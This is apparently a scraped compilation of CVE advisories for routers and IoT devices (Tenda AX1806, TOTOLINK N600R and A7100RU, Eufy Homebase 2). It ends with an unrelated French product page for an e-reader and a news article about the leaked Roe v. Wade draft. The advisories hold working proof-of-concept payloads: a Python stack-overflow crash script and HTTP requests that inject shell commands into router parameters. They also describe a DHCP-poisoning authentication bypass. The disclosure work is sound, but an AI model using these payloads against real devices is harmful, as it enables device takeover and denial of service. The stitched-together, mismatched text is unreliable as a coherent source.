Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow via the shareSpeed parameter in the function fromSetWifiGusetBasic. This vulnerability allows attackers to cause a Denial of Service (DoS).

**Overview**

*   The device's official website: https://www.tenda.com.cn/product/AX1806.html
*   Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

**Affected version**

v1.0.0.1

**Vulnerability details**

tdhttpd in directory /bin has stack overflow vulnerability. The vulnerability occurrs in the fromSetWifiGusetBasic function, which can be accessed via the URL goform/WifiGuestSet.

*   

The function takes the POST parameter shareSpeed, does not validate its length, and copies it directly to a local variable acStack1888 on the stack, causing a stack overflow.

**PoC**

Poc of Denial of Service(DoS)

import requests

data \= {
    b"shareSpeed": b'A'\*0x800
}
res \= requests.post("http://127.0.0.1/goform/WifiGuestSet", data\=data)
print(res.content)

debug result:

CVE-2022-28969: IoT-vuln/Tenda/AX1806/fromSetWifiGusetBasic at main · d1tto/IoT-vuln

TOTOLINK N600R v5.3c.5507_B20171031 was discovered to contain a command injection vulnerability via the QUERY_STRING parameter in the "Main" function.

**TOTOLINK N600R V5.3c.5507\_B20171031 Has an command injection vulnerability****Overview**

*   **Type**: command injection vulnerability
*   **Vendor**: TOTOLINK (https://www.totolink.net/)
*   **Products**: WiFi Router, such as N600R V5.3c.5507\_B20171031
*   \*\*Firmware download address:\*\*https://www.totolink.net/data/upload/20200728/f984576c47289d782ed65e67edbf06e2.zip

**Description****1.Product Information:**

TOTOLINK N600R V5.3c.5507\_B20171031 router, the latest version of simulation overview：

**2\. Vulnerability details**

TOTOLINK N600R V5.3c.5507\_B20171031 was discovered to contain a command injection vulnerability in the "Main" function. This vulnerability allows attackers to execute arbitrary commands via the QUERY\_STRING parameter.

We can see that the os will get  QUERY_STRING without filter splice to the string ;ps; and execute it. So, If we can control the QUERY_STRING, it can be command injection.

**3\. Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Boot the firmware by qemu-system or other ways (real machine)
2.  Attack with the following POC attacks

    GET /cgi-bin/downloadFlile.cgi?;ls; HTTP/1.1 
    Host: 192.168.0.1 
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 
    Accept-Encoding: gzip, deflate 
    Connection: keep-alive 
    Upgrade-Insecure-Requests: 1 
    Cache-Control: max-age=0

CVE-2022-27411: GitHub - ejdhssh/IOT_Vul

A denial of service vulnerability exists in the libxm_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Summary**

A denial of service vulnerability exists in the libxm\_av.so DemuxCmdInBuffer functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted set of network packets can lead to a device reboot. An attacker can send packets to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.4 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

**CWE**

CWE-190 - Integer Overflow or Wraparound

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. For today’s writeup we take a brief look into the WifiComRecv_Pth on TCP port 32295. Just like all the other ports, this codepath uses the getpeermac() function for defacto authentication, in that a network connection’s IP address must have an arp table entry on the br0 interface to be allowed to talk to any of these ports. Assuming that one has a vulnerabilty to bypass this check (see TALOS-2022-1479, libxm\_av.so getpeermac() authentication bypass vulnerability), or if one has compromised one of the smarthome devices that are resident on the br0 192.168.32.0/24 network, then one can essentially talk to the Eufy Homebase like any other device that has been paired. So what can one do with this?

Looking at the WifiComRecv_Pth, let’s take a look at what the message structure looks like:

    struct WifiComPkt{
        uint32_t magic; //[1]
        uint32_t opcode;
        uint32_t datalen; // [2]
        uint8_t data[]// [3]
    }
    

The packet must start with the magic bytes "\x55\x55\x00\xff" at \[1\]. We have an opcode as expected, and then there’s a datasize at \[2\] which determines the length of the array at \[3\]. All pretty standard. So let’s now examine the code handling these messages:

    void*  WifiComRecv_client_pth(struct mall_20* malloced_arg) { 
        //[...]
        0002d068      while (true)
        0002d068          if (g_XM_RUNNING != 0)  // [4]
        0002d14c              int32_t recv_ret
        0002d14c              uint32_t bytes_demuxed
        0002d14c              char* rbufptr
        0002d14c              do
        0002d088                  recv_ret = recv(sockfd: mall20.fd, buf: &buffer[pWriteOffset], len: 0x400 - pWriteOffset, flags: 0x40) // [5]
        0002d094                  if (recv_ret s> 0)
        0002d0a0                      pWriteOffset = pWriteOffset + recv_ret
        0002d0b4                      bytes_demuxed = DemuxCmdInBuffer(buffer: &buffer[pReadOffset], inpsize: pWriteOffset - pReadOffset, mall_20: &mall20) // [6]
    }
    

The server runs for as long as the g_XM_RUNNING global is switched on at \[4\] and constantly reads packets into a size 0x400 buffer on the stack at \[5\], which is subsequently parsed inside the DemuxCmdInBuffer function at \[6\].

    0002cd04  void* DemuxCmdInBuffer(char* buffer, uint32_t inpsize, struct mall_20* mall_20)
    0002cd6c      uint8_t* var_3c
    // [...]
    0002cde8      int32_t size_m4 = inpsize - 4
    0002cdf4      uint32_t bytes_left = 0
    0002cdf0      if (size_m4 s> 0)
    0002ce00          int32_t size_mc = inpsize - 0xc
    0002ce04          uint32_t bytesread = 0
    0002ce24          do
    0002ce2c              struct WifiPkt* wifipkt = &buffer[bytesread]
    0002ce38              while (wifipkt->magic == 0xff005555)                   // [7]
    0002ce54                  if (bytesread + 0xb s>= inpsize) 
    0002cefc                      return inpsize - bytesread
    0002ce74                  bytes_left = inpsize - bytesread
    0002ce70                  if (bytesread + wifipkt->size + 0xb s>= inpsize)   // [8]
    0002cefc                      return bytes_left
    0002ce7c                  XM_LOG(fname: "Xm_WifiComServer.c", line: 0x8a2, 2, 0, fmtstr: "cmd offset:%d\n", values: bytesread)
    0002ce94                  int32_t wificmd_ret = WifiCommandRespProc(wifipkt: wifipkt, mall_20: mall_20)  // [9]
    

After iterating through our data packet until finding the 0xff005555 magic bytes at \[7\], we finally get to our vulnerability: a lack of checking of the Wifipkt->size field inside the DemuxCmdInBuffer function, which allows us to cause an integer overflow at \[8\]. Unfortunately for attacker purposes, this WifiPkt->datalen field does not actually do that much inside WifiCommandRespProc \[9\] besides being checked and also potentially used as the length in an fwrite call. The best we can really get out of this vulnerability is setting the datalen large enough such that an out-of-bounds read occurs after advancing its read pointer by WifiPkt->datalen+0xb. This results in an unmapped read and a binary crash. If the home_security process crashes enough times within a given period, a device reboot will also occur, resulting in a denial of service.

**Crash Information**

    [ 5886.888000] do_page_fault() #2: sending SIGSEGV to home_security(23710) for invalid read access from
    [ 5886.888000] 282e7aa4 (pc == 778c4e30, ra == 778c4e9c)
    
    <(^.^)>#info reg
              zero       at       v0       v1       a0       a1       a2       a3
     R0   00000000 1100ff00 487f5f11 00000001 00000001 00000001 00000000 00000001
                t0       t1       t2       t3       t4       t5       t6       t7
     R8   00000000 fffffffe 00000000 00000000 9b64c2b0 8758a11c 00000000 00000007
                s0       s1       s2       s3       s4       s5       s6       s7
     R16  b780a0ff 33e09af7 7c5ff9f8 00000010 0000000c ff005555 7700a4d1 7700b920
                t8       t9       k0       k1       gp       sp       s8       ra
     R24  00000000 773d36ec 00000000 00000000 77026560 7c5ff960 7c5ff9d8 76ff6e9c
                sr       lo       hi      bad    cause       pc
          0100ff13 067e836c 001154dc 33e09af7 00800010 76ff6e30
               fsr      fir
          00000000 00000000
    
    <(^.^)>#x/10i $pc-0x10
       0x76d3ae20 <WifiComRecv_client_pth+504>:     li      a1,2280
       0x76d3ae24 <WifiComRecv_client_pth+508>:     li      a2,2
       0x76d3ae28 <WifiComRecv_client_pth+512>:     jalr    t9
       0x76d3ae2c <WifiComRecv_client_pth+516>:     move    a3,zero
    => 0x76d3ae30 <WifiComRecv_client_pth+520>:     lw      gp,32(sp)
       0x76d3ae34 <WifiComRecv_client_pth+524>:     move    s4,s2
       0x76d3ae38 <WifiComRecv_client_pth+528>:     move    s0,s2
       0x76d3ae3c <WifiComRecv_client_pth+532>:     move    s1,zero
       0x76d3ae40 <WifiComRecv_client_pth+536>:     lw      t9,-31148(gp)
    

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-26073: TALOS-2022-1480 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the libxm_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Summary**

An authentication bypass vulnerability exists in the libxm\_av.so getpeermac() functionality of Anker Eufy Homebase 2 2.1.8.5h. A specially-crafted DHCP packet can lead to authentication bypass. An attacker can DHCP poison to trigger this vulnerability.

**Tested Versions**

Anker Eufy Homebase 2 2.1.8.5h

**Product URLs**

Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1

**CVSSv3 Score**

7.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

**CWE**

CWE-290 - Authentication Bypass by Spoofing

**Details**

The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.

Among the home_security binary’s responsibilities, communications with the cloud and with smarthome devices is the most important. While the binary itself is somewhat opaque with regards to the actual implementation of this, a good chunk of the network functionality is within an imported libxm_av.so library. This library normally creates five different network servers, as so:

      tcp
        32392 - UDPRecvClient path
        32293 - WifiComSend_Pth            
        32295 - WifiComRecv_Pth            
        32290 - DspComSvr_Path - recv   ** not seen **
        32292 - DspComSvr_Path - send   ** not seen **
    
      udp
        32380 - UDPComCreate => UdpRecvSvr_pth 
        32392 - UdpSndSvr                      
    

While the code paths of some of these seem to converge or complement each other, these servers are all related to communications between the Homebase 2 and the smarthome devices. These communications occur over a seperate network than that of the Homebase’s normal ethernet connection, as it broadcasts a WiFi Hotspot with a hidden SSID that all the smarthome devices can connect to. This WiFi hotspot corresponds to the br0 interface in the Homebase:

    8: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue 
        link/ether 8c:85:80:AA:BB:CC brd ff:ff:ff:ff:ff:ff
        inet 192.168.32.2/24 brd 192.168.32.255 scope global br0
           valid_lft forever preferred_lft forever
        inet6 fe80::8e85:80ff:feaa:bbcc/64 scope link 
           valid_lft forever preferred_lft forever
    

When a device is paired to the Homebase, it is statically assigned an IP address in the range of 192.168.32.5 to 192.168.32.21, but if one manually connects to this WiFi AP, a DHCP IP address is assigned starting from 192.168.32.100. While this might seem irrelevant, there are indeed hardcoded checks within these servers to see whether a connected client falls within the 192.168.32.5-192.168.32.21 IP address range, which could determine if a device is authorized to use an opcode or not. There also exist comparisons to the MAC addresses of paired devices, as another authentication method. But for today’s vulnerability, we examine the somewhat related getpeermac() function, which is used to check whether or not a client to any of the above mentioned TCP/UDP ports is allowed to send traffic:

    int32_t getpeermac(int32_t fd, char* sprintf_out){
    
        int32_t addrlne = 0x10
        struct arpreq arp
        memset(addr: &arp, chr: 0, size: 0x44)
        
        struct sockaddr addr
        addr.sin_family.d = 0
        addr.inet_addr = 0
        addr.pad[0].d = 0
        addr.pad[4].d = 0
        
        int32_t peerret = getpeername(fd, &addr, &addrlne) // [1]
        uint32_t $a1_1 = 0xdd
        char* fmtstr
        int32_t $v0
        if (peerret s< 0)
            fmtstr = "getpeermac: getpeername err\n"
        else
            arp.arp_dev[0].d = 'br0'
            arp.arp_pa.sin_family.d = addr.sin_family.d
            arp.arp_pa.inet_addr = addr.inet_addr // [2]
            arp.arp_pa.pad[0].d = addr.pad[0].d
            arp.arp_pa.pad[4].d = addr.pad[4].d
            arp.arp_pa.sin_family = 2
            arp.arp_ha.sin_family = 0
            iret = ioctl(fd, 0x8954, &arp)        // [3]
            if (iret s< 0)
                fmtstr = "getpeermac: ioctrl err\n"
                $a1_1 = 0xe7
        int32_t ret
        if (peerret s< 0 || (peerret s>= 0 && iret s< 0))
            uint8_t* var_7c
            XM_LOG(fname: "PrivateAPI.c", size: $a1_1, 5, 0, fmtstr: fmtstr, values: var_7c)
            ret = 0xfffff447
        if (peerret s>= 0 && $v0 s>= 0)
            sprintf(sprintf_out, 0x3d1d0, zx.d(arp.arp_ha.sin_port.b), [...]  {"%02X:%02X:%02X:%02X:%02X:%02X"} // [4]
            ret = 0
        return ret
    }
    

To summarize, at \[1\], the function gets the client socket IP address of our connection, placing it into addr. At \[2\], this addr’s data is put into the arpreq struct. At \[3\], the 0x8954 ioctl is done, which asks the kernel if there are any arp table entries on the br0 interface that have an IP address corresponding to our client socket. Assuming this all passes, a MAC address string is populated into the sprintf_out parameter pointer at \[4\], and 0x0 is returned by this function. If getpeermac does not return 0x0, the connection is immediately terminated, resulting in an authentication mechanism that is determined by the connection’s interface. To put more plainly, if we try sending traffic to any of these ports over the Homebase’s ethernet connection, the connection is blocked. Only paired smarthome devices are allowed to talk to these servers.

There is however an oversight in this implementation, namely that the Homebase’s eth0 connection is DHCP. Thus, if an attacker is on the same subnet as the Homebase and can DHCP poison the Homebase, the 192.168.32.0/24 range can be placed on both the eth0 interface and the br0 interface. If the attacker subsequently assigns themselves an IP address that matches any device on the br0 interface, then the call to getpeermac() will actually succeed. Again looking at the important parts of getpeermac():

        int32_t peerret = getpeername(fd, &addr, &addrlne) 
    

If our IP address legitimately is 192.168.32.5 for instance, the same IP address as a smarthome device on br0, then getpeername will populate addr with 192.168.32.5 (0xc0a82005).

       iret = ioctl(fd, 0x8954, &arp)       
    

Since we’re looking up 192.168.32.5: Assuming there is an actual device with this IP address, the ioctl will return successfully with the MAC address of the device on br0, allowing us to talk to these ports. But there is one more step to take in this setup. If we put the 192.168.32.0/24 network on the eth0 interface, we actually won’t see any return traffic due to routing priority. To solve this issue, we can simply poison instead with 192.168.32.0/25 or any other smaller subnet that lets us share an IP address with a device on the br0 interface. Since smaller subnets by default take priority to larger subnets in routing tables, we can force the Homebase to send traffic to us instead of the Smarthome devices on br0, regardless of the static arp table entries that get configured for paired devices.

**Vendor Response**

Fixed version 3.1.8.7 and 3.1.8.7h is in grayscale on Homebase2

**Timeline**

2022-03-11 - Vendor disclosure  
2022-04-15 - Vendor patched  
2022-05-05 - Public disclosure

Discovered by Lilith &gt;\_&gt; of Cisco Talos.

CVE-2022-25989: TALOS-2022-1479 || Cisco Talos Intelligence Group

It is found that there is a command injection vulnerability in the setWiFiAdvancedCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the merge parameter to V2, and then brings V2 into UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiAdvancedCfg",
    "merge":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28581: IOT_vuln/TOTOLink/A7100RU/9 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiSignalCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the wscdisabled parameter to the V3 parameter, then assigns V3 to V6, and finally brings V6 to UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiSignalCfg",
    "wscDisabled":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28582: IOT_vuln/TOTOLink/A7100RU/6 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiWpsCfg interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by the wscdisabled parameter to the V5 parameter, and then brings V5 into UCI\_ Set\_ STR function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiWpsCfg",
    "wscDisabled":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28583: IOT_vuln/TOTOLink/A7100RU/7 at main · EPhaha/IOT_vuln

It is found that there is a command injection vulnerability in the setWiFiWpsStart interface in TOTOlink A7100RU (v7.4cu.2313_b20191024) router, which allows an attacker to execute arbitrary commands through a carefully constructed payload.

**TOTOlink A7100RU Command injection vulnerability****Overview**

*   Manufacturer's website information：http://totolink.net/
*   Firmware download address ： http://totolink.net/home/menu/detail/menu\_listtpl/download/id/185/ids/36.html

**1\. Affected version**

Figure 1 shows the latest firmware Ba of the router

**2.Vulnerability details**

The program passes the content obtained by htbsscoexistence parameter to V15, and then brings V15 to UCI\_ Set\_ In str function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

**3.Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Use the fat simulation firmware V7.4cu.2313\_B20191024
2.  Attack with the following overflow POC attacks

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 79
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
    Content-Type: application/x-www-form-urencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: SESSION_ID=2:1647872744:2
    Connection: close
    
    {"topicurl":"setting/setWiFiWpsStart",
    "htBSSCoexistence":"1$(ls>/tmp/123;)"}
    

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

CVE-2022-28584: IOT_vuln/TOTOLink/A7100RU/8 at main · EPhaha/IOT_vuln

Bookeen Notea Firmware BK_R_1.0.5_20210608 is affected by a directory traversal vulnerability that allows an attacker to obtain sensitive information.

**Comme sur le papier**

La saisie au stylet WACOM rapide et sensible à la pression permet de dessiner avec une grande précision. Initialement **mise au point pour les tablettes graphiques professionnelles,** cette technologie ne nécessite ni fil, ni batterie et autorise une écriture souple et précise. L’affichage instantané sur la surface texturée de l’écran à encre électronique Eink offre une expérience d'écriture identique à celle que l'on a sur papier.

*   **Saisie au stylet**
    
    Technologie Wacom avec 4096 niveaux de pression.
    
*   **Effet papier**
    
    Ecran Eink (16 niveaux de gris) lisible en plein soleil avec une résolution 1404\*1872 de 227dpi
    
*   **Grand écran**
    
    Surface d'affichage de 10,3 pouces (26cm) de diagonale équivalent au format A5
    
*   **Eclairage pour usage de nuit**
    
    Luminosité programmable avec option de réglage de la lumière bleue.
    

**Une saisie ultra-précise pour professionnels**

Initialement mise au point pour les graphistes professionnels, la technologie Wacom autorise une saisie très précise sans interférence avec l'appui de la paume sur l'écran. La Notéa est ainsi compatible avec tous les stylets Wacom et peut gérer jusqu'à 4096 niveaux de pression.

**Un nouvel outil dans votre espace de travail**

La Notéa ajoute des fonctions numériques à votre bloc-notes. Le reconnaissance d'écriture, l'annotation de livres et documents, le partage par email ou sur grand écran.

*   **Transcription des notes**
    
    Conversion automatique des notes manuscrites en texte par MyScript© (33 langues)
    
*   **Annotation de documents**
    
    Prise de notes directement sur documents PDF et EPUB
    
*   **Partage par email**
    
    Envoi et réception directs des notes et documents depuis le bloc-notes numérique.
    
*   **Affichage sur grand écran**
    
    Partage d'écran et diffusion sur téléviseur via Miracast
    

**L'expertise de l'écriture numérique**

La Notéa intègre Myscript©, le plus puissant moteur de reconnaissance d'écriture manuscrite. Les notes qu'elles soient écrites en cursives, en majuscules ou en scriptes, sont converties en quelques secondes vers un fichier Txt ou PDF. Ne laissez plus votre contenu manuscrit à l'écart de votre quotidien dans le monde numérique.

**Autonome et mobile**

Avec son poids plume, prenez votre Notéa partout avec vous. Sa batterie de haute capacité (4000 mAh) vous offrira une autonomie d'une semaine sans recharge. La Notéa possède 32Go de stockage interne et peut également se synchroniser avec différents services de Cloud.

*   **1 semaine d'autonomie**
    
    Batterie Lithium Polymer 4000mAh
    
*   **Mémoire**
    
    32 Go de stockage interne et accès aux différentes services de stockage dans le cloud via les apps.
    
*   **Transfert et partage**
    
    Connexion sans-fil Wifi : IEEE 802.11 b/g/n et Bluetooth : BT 4.2 & BLE.
    
*   **USB-C**
    
    Connecteur USB pour recharge, casque audio, connexion PC
    

**Une tablette à part entière**

La Notéa® peut être considérée comme une tablette tactile Android à part entière proposant un accès à un store d'applications. La Notéa est équipée de deux haut-parleurs et d’un micro.

*   **Interface au doigt**
    
    Ecran tactile capacitif sans interférence avec le stylet
    
*   **Audio**
    
    Haut-parleurs ou écouteurs par USB-C ou Bluetooth pour les applications audio
    
*   **Enregistrement**
    
    Microphone intégré pour les apps nécessitant un enregistrement audio et/ou une prise de son
    
*   **Store d'applications**
    
    Compatible avec le système Android 8.. Accès au Playstore pour télécharger des Apps.
    

*   **Mine texturée**
    
    La mine du stylet spécialement conçue pour procurer un touché très proche de celui de l'écriture sur papier.
    
*   **Gomme**
    
    Bouton latéral qui permet au stylet de basculer en mode gomme et d'effacer par trait ou par zone.
    
*   **Ctrl-z**
    
    Rien n'est irréversible sur la Notéa, bouton latéral d'annulation et de reprise des derniers traits réalisés au stylet.
    
*   **Bluetooth**
    
    Appairage Bluetooth avec la Notéa permettant la personnalisation et l'utilisation de trois boutons latéraux. Fonction Bluetooth rechargeable par USB.
    

**Spécifications techniques**

**Dimensions**

Modèle : CYBN10F

Fonction : Bloc-Notes numérique

Dimensions : 191,1 x 232,5 x 8,0 mm

Poids : 460 g

**Logiciel**

Système d'exploitation : Android 8.1

Play Store : Installable

**Ecran**

Taille : 10,3'' (26cm)

Résolution (Pixels) : 1404\*1872

DPI : 227

Niveaux de gris : 16

Ecran capacitif : oui

Wacom (EMR) : Oui

Front Light (FL) : Oui

Filtre lumière bleue : Oui

**Electronique**

CPU : 1.8 GHz Quad-Core

RAM : 2 Go

Stockage : 32 Go

USB 2.0 : Type C

LED de charge : Blanc

Écouteurs : Type C

Micro : Oui

Haut-parleur : Stéréo

Wi-Fi : IEEE 802.11 b/g/n

Bluetooth : BT 4.2

Bluetooth BLE : Oui

Accéléromètre : Oui

Effet Hall : Oui (Couverture intelligente)

Power button : Power on/off

**Batterie et autonomie**

Type : Lithium-Ion Polymer

Capacité : 3,7 V/4000 mAh

Consommation en veille : 2,0 mA

Durée en veille : 60 jours

**Stylet**

Wacom (EMR) : Oui (4096 niveux de pression)

Bluetooth : 3 boutons : mise en veille, haut, bas

Micro-USB : Recharge batterie pour fonction Bluetooth

**Inscription à la Newsletter**

CVE-2021-45783: Bookeen, la lecture numérique

The leak of a draft opinion overturning Roe v. Wade quickly sparked a court investigation. Which laws may have been violated, if any, remains uncertain.

The leak of a seismic draft opinion from the US Supreme Court that would overturn _Roe v. Wade_ has somehow managed overnight to elicit roughly equal outpourings of anger from the right and left: The left has rallied to decry a decision that would overturn a 50-year-old cornerstone of reproductive rights. Conservatives, despite the historic victory the ruling would represent for their side, have meanwhile targeted their political outrage at a far more specific individual: the leaker.

Just hours after Politico published a draft of the majority ruling written by Justice Samuel Alito calling the _Roe_ decision "egregiously wrong from the start" and overruling that five-decade-old precedent, figures across the right issued a chorus of calls for the investigation and prosecution of the anonymous source of the "illegal" leak. CBS News went so far as to report—somewhat vaguely—that it expects an investigation “involving the FBI” into the leak's source. And Chief Justice John Roberts has opened an investigation into the disclosure.

But all of that furor is undermined by an inconvenient legal truth: Leaking a Supreme Court decision doesn't actually seem to be a crime—at least not by any clear and undisputed definition. "Right now, it's unclear whether the leaker broke any law at all," says Trevor Timm, a First Amendment–focused lawyer and the executive director of the Freedom of the Press Foundation. "Even the people claiming this act is beyond the pale and the FBI must investigate haven't pointed to a definitive law this leaker allegedly broke."

Timm cites a lengthy Twitter thread published late Monday by the well-known UC Berkeley legal scholar Orin Kerr, who responded to the leak Monday night by pointing out that a Supreme Court draft doesn't meet any of the obvious criteria that would make it an illegal document to hand to a journalist: Most important, it's not classified, so leaking it doesn't open the leaker to prosecution under the Espionage Act. "As far as I can tell, there is no federal criminal law that directly prohibits disclosure of a draft legal opinion," Kerr concluded.

Of course, if the source is someone who hacked into a computer of, say, a Supreme Court justice or law clerk—or swiped the paper off their desk—the leaker could be prosecuted with computer fraud and abuse or theft, Kerr points out. But otherwise, despite the historical rarity of Supreme Court leaks and the politically radioactive nature of this one, Kerr argues there's no slam-dunk argument to federally prosecute the leaker.

Instead, Kerr suggests that any federal prosecutor seeking to make a case against Politico's leaker might have to resort to a far shakier statute, known as 18 U.S.C. § 641. That broad statute forbids the theft or misuse of government-owned "things of value"—a broadly written law seemingly designed at a surface level to prevent embezzlement or graft by those with access to the government's property. But whether it applies to information—and what kind of information, given to whom—remains an open question in federal law, with different circuit courts fundamentally disagreeing in their rulings.

